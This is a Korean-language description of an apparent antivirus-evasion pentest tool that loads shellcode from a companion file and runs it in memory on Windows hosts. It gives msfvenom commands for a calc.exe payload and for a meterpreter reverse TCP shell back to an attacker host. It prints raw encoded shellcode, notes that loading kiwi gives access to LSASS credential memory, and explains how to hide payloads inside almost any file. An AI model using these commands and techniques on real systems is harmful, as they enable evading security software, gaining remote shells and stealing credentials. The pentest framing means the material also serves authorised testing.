
안티바이러스 우회 및 대상 Wintel 호스트에서 임의 페이로드 실행을 위한 펜테스트 도구
이 코드로 컴파일된 실행 파일은 바이러스 백신 소프트웨어에 탐지되지 않을 것이 확실한 상태에서 일부 페이로드(아마도 meterpreter?)를 실행해야 하는 침투 테스트 중에 유용합니다. 유일한 요구 사항은 두 개의 파일(binary executable 및 payload file)을 동일한 디렉토리에 업로드할 수 있어야 한다는 것입니다.
페이로드(x86)를 준비합니다. 예:
calc: msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf (인코더나 문자 블랙리스트를 사용할 필요가 없습니다. 어쨌든 작동합니다.)
meterpreter: msfvenom -p windows/meterpreter_reverse_tcp LHOST=... -a x86 -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf
페이로드 파일 [실행 파일 이름에서 .exe 확장자를 제외한].mf를 실행 파일과 동일한 디렉토리에 복사합니다.
위 명령어로 생성된 calc.exe를 실행하는 페이로드:
# calc.exe
\xbb\x28\x30\x85\x5b\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x5a\x0e\x03\x72\x3e\x67\xae\x7e\xd6\xee\x51\x7e\x27\x91\xd8\x9b\x16\x83\xbf\xe8\x0b\x13\xcb\xbc\xa7\xd8\x99\x54\x33\xac\x35\x5b\xf4\x1b\x60\x52\x05\xaa\xac\x38\xc5\xac\x50\x42\x1a\x0f\x68\x8d\x6f\x4e\xad\xf3\x80\x02\x66\x78\x32\xb3\x03\x3c\x8f\xb2\xc3\x4b\xaf\xcc\x66\x8b\x44\x67\x68\xdb\xf5\xfc\x22\xc3\x7e\x5a\x93\xf2\x53\xb8\xef\xbd\xd8\x0b\x9b\x3c\x09\x42\x64\x0f\x75\x09\x5b\xa0\x78\x53\x9b\x06\x63\x26\xd7\x75\x1e\x31\x2c\x04\xc4\xb4\xb1\xae\x8f\x6f\x12\x4f\x43\xe9\xd1\x43\x28\x7d\xbd\x47\xaf\x52\xb5\x73\x24\x55\x1a\xf2\x7e\x72\xbe\x5f\x24\x1b\xe7\x05\x8b\x24\xf7\xe1\x74\x81\x73\x03\x60\xb3\xd9\x49\x77\x31\x64\x34\x77\x49\x67\x16\x10\x78\xec\xf9\x67\x85\x27\xbe\x88\x67\xe2\xca\x20\x3e\x67\x77\x2d\xc1\x5d\xbb\x48\x42\x54\x43\xaf\x5a\x1d\x46\xeb\xdc\xcd\x3a\x64\x89\xf1\xe9\x85\x98\x91\x6c\x16\x40\x78\x0b\x9e\xe3\x84
실행 파일이 실행되면, 페이로드 파일이 파싱되어 별도의 스레드에 로드되고 메모리에서 실행됩니다:

x86 바이너리는 x86 및 x86_64 Windows 시스템에서 모두 실행됩니다. 그러나 x86 아키텍처 페이로드를 사용해야 합니다. 그럼에도 불구하고 x86 meterpreter 페이로드는 x86_64 프로세스로 마이그레이션될 수 있습니다. 그 후 load kiwi는 x86_64 버전을 로드하여 LSASS 프로세스 메모리의 유용한 내용에 접근할 수 있게 해줍니다 :)

.mf 페이로드 파일은 난독화될 수 있습니다. 파서는 \xHH 16진수 시퀀스를 제외한 모든 문자를 무시합니다. 즉, 거의 모든 파일에 페이로드를 추가하거나, 줄 사이에 숨기거나, 심지어 자신의 주석을 추가할 수 있습니다. 예:
